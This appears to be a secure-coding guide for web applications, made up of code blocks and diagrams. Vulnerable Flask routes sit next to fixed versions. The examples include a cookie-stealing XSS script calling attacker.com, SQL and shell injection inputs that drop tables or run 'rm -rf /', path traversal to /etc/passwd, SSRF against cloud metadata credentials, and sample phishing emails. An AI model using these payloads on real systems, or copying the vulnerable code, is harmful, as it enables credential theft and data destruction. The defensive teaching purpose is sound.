Attacker        Reconnaissance      Exploitation         Impact
   │                 │                   │                  │
   └─→ Scan site ─→ Find SQL injection ─→ Dump database ─→ Steal data
        (passive)      (OWASP #3)       (PoC)          (financial loss)

Requirements:
  - Multi-factor authentication (MFA) mandatory for all privileged accounts
  - Hardware security keys preferred (e.g., Yubikey)
  - Fallback: TOTP (Google Authenticator, Authy)
  - Password minimum 16 characters (or passphrase)

Example Policy:
  Privileged SSH Access:
    ├─ Factor 1: SSH key (ed25519, 4096-bit RSA minimum)
    ├─ Factor 2: MFA code (30-second window)
    └─ Session valid: 2 hours max

# Quarterly privilege audit
kubectl get rolebindings -A                    # Kubernetes RBAC
gcloud iam service-accounts list                # GCP service accounts
aws iam list-users                              # AWS users and roles

# Remove unused accounts
kubectl delete rolebinding old-ci-account       # Clean up old CI/CD accounts

Events to log (Immutable audit trail):
  - Privilege escalation (sudo, su, sudo -s)
  - Database administrative commands (DROP TABLE, ALTER USER)
  - Infrastructure changes (instance creation, network rules)
  - Authentication events (login, MFA challenges, failed attempts)

Storage:
  - Centralized logging (ELK, Splunk, Cloud Logging)
  - Immutable (cannot be deleted/modified retroactively)
  - Retention: minimum 1 year for sensitive operations

Password Requirements (Minimum):
  - Length: 16+ characters (or passphrase)
  - Complexity: Mix of uppercase, lowercase, numbers, symbols
  - Rotation: Every 90 days for privileged accounts
  - History: No reuse of last 5 passwords
  - Lockout: 5 failed attempts → 15 min lockout

Example:
  ✅ Good:      "Blue-Elephant-42-Sunrise!" (passphrase)
  ❌ Bad:       "Admin123" (too simple, guessable)

Session Duration:
  - Development: 8 hours
  - Production database: 1-2 hours
  - Financial systems: 15-30 minutes
  - Sensitive operations (account deletion): Require re-authentication

Example (kubectl):
  # Token valid for 1 hour, then must re-authenticate
  kubectl config set-credentials admin --token=<token>
  # After 1 hour: "error: You must be logged in"

Traditional (Risky):
  User role: Database Operator
  → Permanently has: DROP TABLE permission
  → All 8 hours/day, every day → Can cause accidental damage

Just-in-Time (Safe):
  User: wants to DROP prod table
  → Submits: Access request with reason, duration
  → Manager: Approves for 2 hours only
  → Auto-revoked: After 2 hours, permission removed
  → Audit: All actions logged with context

Implementation Tools:
  - HashiCorp Vault (secrets + JIT access)
  - AWS SSO + temporary credentials
  - Teleport (SSH access with JIT)

# Python Flask - VULNERABLE
@app.route('/user/<user_id>')
def get_user(user_id):
    query = f"SELECT id, name, email FROM users WHERE id = {user_id}"
    result = db.execute(query)
    return result

URL: /user/1 OR 1=1
→ Query becomes: SELECT id, name, email FROM users WHERE id = 1 OR 1=1
→ Returns: All users (not just one)

URL: /user/1; DROP TABLE users;--
→ Executes: DROP TABLE users
→ Result: Database table deleted

# SECURE - Uses parameterized query
@app.route('/user/<user_id>')
def get_user(user_id):
    query = "SELECT id, name, email FROM users WHERE id = ?"
    result = db.execute(query, [user_id])  # user_id treated as data, not code
    return result

# VULNERABLE - User input passed to shell
@app.route('/convert', methods=['POST'])
def convert_file():
    filename = request.form.get('filename')
    os.system(f"ffmpeg -i {filename} output.mp3")  # DANGER!
    return "Converted"

Input: "video.mp4; rm -rf /"
→ Executes: ffmpeg -i video.mp4; rm -rf /
→ Result: Filesystem deleted

# SECURE - Arguments passed as list, not string
import subprocess
@app.route('/convert', methods=['POST'])
def convert_file():
    filename = request.form.get('filename')
    subprocess.run(["ffmpeg", "-i", filename, "output.mp3"], check=True)
    return "Converted"

# VULNERABLE - User comment rendered without escaping
@app.route('/posts/<post_id>')
def view_post(post_id):
    post = db.query(Post).filter(Post.id == post_id).first()
    return f"<h1>{post.title}</h1><p>{post.content}</p>"

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

# SECURE - Use framework's escape function
from flask import escape

@app.route('/posts/<post_id>')
def view_post(post_id):
    post = db.query(Post).filter(Post.id == post_id).first()
    return f"<h1>{escape(post.title)}</h1><p>{escape(post.content)}</p>"

Original:  <script>alert('xss')</script>
Escaped:   &lt;script&gt;alert('xss')&lt;/script&gt;
Rendered:  <script>alert('xss')</script>  (text, not executable)

# VULNERABLE - URL parameter rendered directly
@app.route('/search')
def search():
    query = request.args.get('q')
    return f"<p>Search results for: {query}</p>"

/search?q=<script>alert('xss')</script>
→ Page renders: <p>Search results for: <script>alert('xss')</script></p>
→ JavaScript executes in browser

# SECURE - Escape user input
@app.route('/search')
def search():
    query = request.args.get('q')
    return f"<p>Search results for: {escape(query)}</p>"

# VULNERABLE - User controls file path
@app.route('/download')
def download_file():
    path = request.args.get('path')
    filepath = os.path.join('/downloads', path)  # DANGER!
    return flask.send_file(filepath)

URL: /download?path=../../../etc/passwd
→ filepath = /downloads/../../../etc/passwd = /etc/passwd
→ Server returns: root:x:0:0:...

# SECURE - Use send_from_directory which validates paths
@app.route('/download')
def download_file():
    path = request.args.get('path')
    # Validates that path is within /downloads, rejects ../ etc.
    return flask.send_from_directory('/downloads', path)

# VULNERABLE - User controls remote URL
@app.route('/proxy')
def proxy_request():
    url = request.args.get('url')
    response = requests.post(url, data={'action': 'deduct', 'amount': 100})
    return response.json()

URL: /proxy?url=http://internal-payment-api:8080/admin/refund
→ Server connects to internal API (not accessible from internet)
→ Attacker can trigger internal operations

Or:
URL: /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Reads cloud metadata service (AWS/GCP/Azure)
→ Exposes: database passwords, API keys, credentials

# SECURE - Use hardcoded config, don't accept user input
ALLOWED_PAYMENT_PROVIDER = "https://secure-payment.trusted-provider.com"

@app.route('/process-payment', methods=['POST'])
def process_payment():
    amount = request.form.get('amount')
    response = requests.post(ALLOWED_PAYMENT_PROVIDER, data={'amount': amount})
    return response.json()

# VULNERABLE - Predictable session token
import time
@app.before_request
def create_session():
    user_id = int(request.args.get('user_id'))
    session_token = str(time.time())  # Easy to predict!
    sessions[session_token] = user_id
    return session_token

# SECURE - Cryptographically random token
import secrets

def create_session(user_id):
    session_token = secrets.token_urlsafe(32)  # 256-bit random
    sessions[session_token] = {'user_id': user_id, 'created': time.time()}
    return session_token

# VULNERABLE - No check if user owns the resource
@app.route('/profile/<user_id>')
def view_profile(user_id):
    user = db.query(User).filter(User.id == user_id).first()
    return {'name': user.name, 'email': user.email, 'ssn': user.ssn}

Current user: 123
URL: /profile/456
→ Returns User 456's data (including SSN!)
→ Attacker can enumerate all user profiles

# SECURE - Verify ownership before returning
from flask import session

@app.route('/profile/<user_id>')
def view_profile(user_id):
    current_user = get_current_user()  # From session
    
    if int(user_id) != current_user.id:
        return {'error': 'Unauthorized'}, 403  # Not allowed
    
    user = db.query(User).filter(User.id == user_id).first()
    return {'name': user.name, 'email': user.email}  # No SSN

# VULNERABLE - User can modify own role
@app.route('/profile', methods=['POST'])
def update_profile():
    user = get_current_user()
    user.role = request.form.get('role')  # User sets own role!
    db.commit()
    return {'success': True}

POST /profile
role=admin

→ User becomes admin
→ Can now delete other users, modify data, etc.

# SECURE - Only admin can change role, user can't
@app.route('/profile', methods=['POST'])
def update_profile():
    user = get_current_user()
    
    # Only update safe fields
    user.name = request.form.get('name')
    user.email = request.form.get('email')
    # role is NOT updated (admin-only operation)
    
    db.commit()
    return {'success': True}

# Separate admin endpoint for role changes
@app.route('/admin/user/<user_id>/role', methods=['POST'])
@require_admin
def update_user_role(user_id):
    if not is_admin(get_current_user()):
        return {'error': 'Forbidden'}, 403
    
    user = db.query(User).filter(User.id == user_id).first()
    user.role = request.form.get('role')
    db.commit()
    return {'success': True}

# VULNERABLE - Password stored in plaintext
user = User(
    username='alice',
    password='MyPassword123'  # NEVER do this!
)
db.add(user)
db.commit()

# SECURE - Use bcrypt (adaptive hash, gets slower over time)
from bcrypt import hashpw, checkpw, gensalt

hashed = hashpw(b'MyPassword123', gensalt(rounds=12))
# hashed = b'$2b$12$...(60 character hash)...'

user = User(
    username='alice',
    password_hash=hashed
)
db.add(user)
db.commit()

# On login, verify:
if checkpw(b'guess', user.password_hash):
    print("Password correct")
else:
    print("Wrong password")

❌ BAD: http://bank.com/login (credentials in plaintext on network)
✅ GOOD: https://bank.com/login (encrypted in transit)

┌─────────────┐
│   Client    │ Sends request to api.example.com
└──────┬──────┘
       │ HTTPS request
       ▼
┌─────────────────────────────────────────────────────────────┐
│                    WAF (Edge Proxy)                         │
│  Imperva, Cloudflare, AWS WAF, Azure WAF                   │
│                                                             │
│  1. Parse HTTP request                                      │
│  2. Apply rules:                                            │
│     - SQL injection detection                              │
│     - XSS pattern detection                                │
│     - Rate limiting (100 req/sec per IP)                   │
│     - Bot detection                                        │
│  3. Decide: ALLOW / BLOCK / CHALLENGE                     │
│                                                             │
│  Decision Tree:                                            │
│    ├─ Match malicious pattern? → BLOCK (403)              │
│    ├─ Rate limit exceeded? → CHALLENGE (CAPTCHA)          │
│    ├─ Known bot? → BLOCK (403)                            │
│    └─ Clean request? → ALLOW                              │
└──────────────┬──────────────────────────────────────────────┘
       │ Filtered request
       ▼
┌─────────────────────────────────────┐
│    Load Balancer (Cloud Provider)   │
│    Azure LB / GCP LB / AWS ELB     │
└──────────────┬──────────────────────┘
       │ Route to appropriate backend
       ▼
┌─────────────────────────────────────┐
│    Application Server               │
│    (Protected from web attacks)     │
└─────────────────────────────────────┘

Request URL:
/api/users?id=1' OR '1'='1

WAF Detection:
✓ Contains SQL keywords (OR)
✓ Matches SQLi pattern (single quotes + boolean logic)
✓ Action: BLOCK → 403 Forbidden
→ Never reaches application

Request:
POST /comment
Content: <script>alert('xss')</script>

WAF Detection:
✓ Contains <script> tag
✓ Matches XSS pattern (HTML + JavaScript)
✓ Action: BLOCK → 403 Forbidden

Same IP sends 500 requests/sec (typical rate: 100/sec)

WAF Detection:
✓ Rate limit exceeded (500 > 100)
✓ Likely DDoS or bot attack
✓ Action: CHALLENGE → Send CAPTCHA or rate-limit
→ Legitimate traffic slowed temporarily
→ Bot/attacker traffic blocked

WAF Rules Configuration:
  - Detection Mode: First 1 week (logs only, no blocking)
    Monitors: What rules would trigger
    Review: False positives (legitimate requests blocked)
  
  - Enforcement Mode: After false positive review
    Protection Level: Medium (balance security + usability)
    Exceptions: Whitelist trusted partners if needed
  
  - Sensitive Operations:
    - Admin panel: Stricter rules
    - Payment: Strict rate limiting
    - Login: Challenge on multiple failed attempts
  
  - Monitoring:
    - Track block rate (should be < 1% for legitimate traffic)
    - Alert if block rate spikes (possible attack or misconfiguration)
    - Review blocked requests weekly

Source Code → SAST Scanner → Parse AST → Apply Rules → Report Issues

# Install semgrep
brew install semgrep

# Scan Python code for vulnerabilities
semgrep --config=p/owasp-top-ten app.py

# Output example:
# ✗ SQL Injection in app.py:23
#   query = f"SELECT * FROM users WHERE id={user_id}"
#   → Use parameterized query instead

Enterprise SAST Pipeline:
  Tool: company/analyzer
  Integration: .gitlab-ci.yml
  Trigger: On every merge request
  
  Config:
    include:
      - project: 'company/analyzer'
        ref: v1
        file: 'shared/pipeline-template/.gitlab-sast-general.yaml'
  
  On Vulnerability Found:
    - Status: ❌ Pipeline FAILS
    - Developer: Fix or whitelist false positive
    - Review: Security team approves exceptions
    - Merge: Only after SAST passes

Running App → Reconnaissance (discover APIs) → Fuzzing (send payloads) 
→ Analyze Response (500 = SQL error?) → Report Issues

# Install ZAP
brew install zaproxy

# Scan running app
zaproxy -cmd -quickurl http://localhost:8080 -quickout report.html

# Output: HTML report with findings
# - SQL injection risks
# - Missing security headers
# - Insecure cookies
# - Vulnerable dependencies

Client                              Server
  │                                   │
  ├─ POST /login                      │
  │ username=alice&password=pass123   │
  ├──────────────────────────────────→│
  │                                   │ Hash password
  │                                   │ Compare to stored hash
  │                    Set session   │
  │ Set-Cookie: session=abc123def   │
  │←──────────────────────────────────┤
  │                                   │
  ├─ GET /account                     │
  │ Cookie: session=abc123def         │
  ├──────────────────────────────────→│
  │                                   │ Verify session
  │                                   │ Return user data
  │              { user data }        │
  │←──────────────────────────────────┤

User wants to login to YourApp using Google account:

1. User clicks "Login with Google"
2. YourApp redirects to Google:
   https://accounts.google.com/oauth/authorize
   ?client_id=123456
   &redirect_uri=yourapp.com/callback
   &scope=email,profile

3. User logs into Google (Google handles password)
4. Google asks: "Allow YourApp to access your email?"
5. User clicks "Allow"
6. Google redirects to YourApp:
   https://yourapp.com/callback
   ?code=auth_code_12345

7. YourApp backend exchanges code for token:
   POST https://accounts.google.com/token
   code=auth_code_12345
   client_id=123456
   client_secret=super_secret

8. Google returns: access_token=abc123def456

9. YourApp uses token to get user info:
   GET https://www.googleapis.com/oauth2/v2/userinfo
   Authorization: Bearer abc123def456
   → Returns: {email: alice@gmail.com, name: Alice}

10. YourApp creates session for Alice
11. Alice logged in ✅

Token Format: Header.Payload.Signature

Example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyX2lkIjoiMTIzNDU2Nzg5MCIsImV4cCI6MTYyNDAwMDAwMH0.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header (Base64 decoded):
{
  "alg": "HS256",    // Algorithm
  "typ": "JWT"       // Token type
}

Payload (Base64 decoded):
{
  "user_id": "123",
  "exp": 1624000000,       // Expires at 2021-06-18
  "iat": 1623996400       // Issued at 2021-06-18
}

Signature:
HMAC(header + payload + secret_key)

1. Client logs in:
   POST /login
   {username, password}
   
2. Server verifies and creates JWT:
   JWT = sign({user_id, exp, role}, server_secret)
   Return: {token: JWT}

3. Client stores JWT in localStorage/sessionStorage

4. Client sends JWT with every request:
   GET /account
   Authorization: Bearer JWT

5. Server validates JWT:
   - Signature valid? (using server_secret)
   - Not expired? (check exp)
   - Return: User data

From: noreply@github.com  (actually: attacker@phishing.com)
To: engineer@company.com
Subject: Action Required: Verify Your Account

Your GitHub account requires verification.
Click here to confirm: https://github-verify.com/login

Fake site looks like: amazon.com
→ Actually: amaz0n.com (zero instead of o)
→ User enters password
→ Attacker captures credentials
→ Logs into real Amazon with stolen password

Attacker compromises legitimate website visited by target
Users visit website → JavaScript injected → Malware downloaded
Example: Compromise developer.atlassian.com → Target engineers

1. Email claims to be from GitHub
   
   Step 1: Check sender email
   → Click sender name → See full email address
   → Is it @github.com? Or @phishing.com?
   
   Step 2: Check link destination
   → Hover over link (don't click!)
   → Does URL match sender? (link from GitHub → github.com)
   
   Step 3: Never use link provided
   → Go directly to site (type in address bar)
   → Or find official link elsewhere
   
   Step 4: Call if unsure
   → Phone number from official website (not email)
   → Ask: "Is this request legitimate?"

From: noreply@apple.com
Subject: Your Apple ID requires immediate attention

Hello,

Your Apple account has been flagged for suspicious activity.
Please verify your identity:
[CLICK HERE TO VERIFY]

Questions?
Apple Support Team

From: dev-team@github-updates.co
Subject: Review needed: PR#12345

Hi,

A code review is waiting for you:
https://github-pr-review.io/pr/12345

Please login to continue.

- GitHub Bot

┌─────────────────────────────────────────────────────┐
│ Layer 1: Edge Security                              │
│ ├─ WAF (Imperva) - Blocks SQL injection, XSS, bots │
│ ├─ DDoS Protection                                  │
│ └─ Rate Limiting                                    │
├─────────────────────────────────────────────────────┤
│ Layer 2: Authentication                             │
│ ├─ MFA (Google Authenticator)                       │
│ ├─ OAuth 2.0 (third-party login)                    │
│ └─ JWT tokens (stateless sessions)                  │
├─────────────────────────────────────────────────────┤
│ Layer 3: Authorization                              │
│ ├─ RBAC (Role-Based Access Control)                │
│ ├─ Ownership checks (user can only see own data)    │
│ └─ Fine-grained permissions                         │
├─────────────────────────────────────────────────────┤
│ Layer 4: Application Security                       │
│ ├─ Input validation & sanitization                  │
│ ├─ Parameterized queries (prevent SQLi)             │
│ ├─ Output encoding (prevent XSS)                    │
│ └─ HTTPS (encrypt in transit)                       │
├─────────────────────────────────────────────────────┤
│ Layer 5: Data Protection                            │
│ ├─ Encryption at rest (database)                    │
│ ├─ Encryption in transit (TLS)                      │
│ ├─ Field-level encryption (PII)                     │
│ └─ Backup encryption                                │
├─────────────────────────────────────────────────────┤
│ Layer 6: Monitoring & Response                      │
│ ├─ WAF log analysis                                 │
│ ├─ Database audit logs                              │
│ ├─ SIEM (Security Information & Event Management)  │
│ └─ Alerting on suspicious activity                  │
└─────────────────────────────────────────────────────┘